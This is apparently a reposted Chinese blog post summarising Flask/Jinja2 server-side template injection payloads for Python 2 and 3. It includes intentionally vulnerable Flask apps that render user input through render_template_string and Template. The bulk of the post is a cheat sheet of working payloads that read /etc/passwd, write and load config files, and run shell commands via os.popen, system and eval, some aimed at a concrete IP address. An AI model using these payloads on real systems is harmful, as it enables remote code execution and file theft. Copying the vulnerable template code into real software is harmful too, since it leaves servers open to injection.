flask ssti python2和python3 注入總結和區別


總結一下flask ssti的注入語句

代碼

import uuid
from flask import Flask, request, make_response, session,render_template, url_for, redirect, render_template_string

app=Flask(__name__)
app.config['SECRET_KEY']=str(uuid.uuid4())

@app.route('/')
def index():
    try:
        username=session['username']
        return render_template('index.html',username=username)
    except Exception as e:
        return """<form action="%s" method='POST'>
        <input type='text' name='username' >
        <input type='password' name='password' >
        <input type='submit'>
        </form>""" % url_for("login")

@app.errorhandler(404)
def page_not_found(e):
    template='''
        {%% block body %%}
        <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
        </div>
        {%% endblock %%}
    '''%(request.url)
    return render_template_string(template),404

@app.route('/',methods=['POST'])
def login():
    username=request.form.get("username")
    password=request.form.get("password")
    if username=='admin' and not password==str(uuid.uuid4()):
        return "login failed"
    resp=make_response(redirect(url_for("index")))
    session['username']=username
    return resp
app.run(port=81,debug=True)

一.

python2,python2相對來說簡單,有file

1.文件讀取或者寫入

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}    

2.任意執行
2.1每次執行都要先寫然后編譯執行

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }}  

2.2寫入一次即可

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }}  
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}    

2.3 不回顯的

http://127.0.0.1:9998/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}      
http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}

3.任意執行只需要一條指令

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(這條指令可以注入,但是如果直接進入python2打這個poc,會報錯,用下面這個就不會,可能是python啟動會加載了某些模塊)  
http://39.105.116.195/{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函數換為popen('').read(),需要導入os模塊)  
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要導入os模塊,直接從別的模塊調用)

總結:通過某種類型(字符串:"",list:[],int:1)開始引出,__class__找到當前類,__mro__或者__base__找到__object__,前邊的語句構造都是要找這個。然后利用object找到能利用的類。還有就是{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}這種的,能執行,但是不會回顯。一般來說,python2的話用file就行,python3則沒有這個屬性。  

二.

然后是python3

因為python3沒有file了,所以用的是open

http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('d://whale.txt').read()}}和python2的位置不一樣,問題不大,挨個測試就能找出位置在在哪。  

同樣是一句指令任意執行:

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

三. 比較不同的一種,單獨拿出來了。

#python3
#Flask version:0.12.2
#Jinja2: 2.10
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
    name = request.args.get('name', 'guest')
    t = Template("Hello " + name)
    return t.render()
if __name__ == "__main__":
    app.run();

python3的時候

命令執行:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

文件操作

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

python2的時候。(同上,不過不是不回顯,而是要看網頁源代碼才能看出來)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM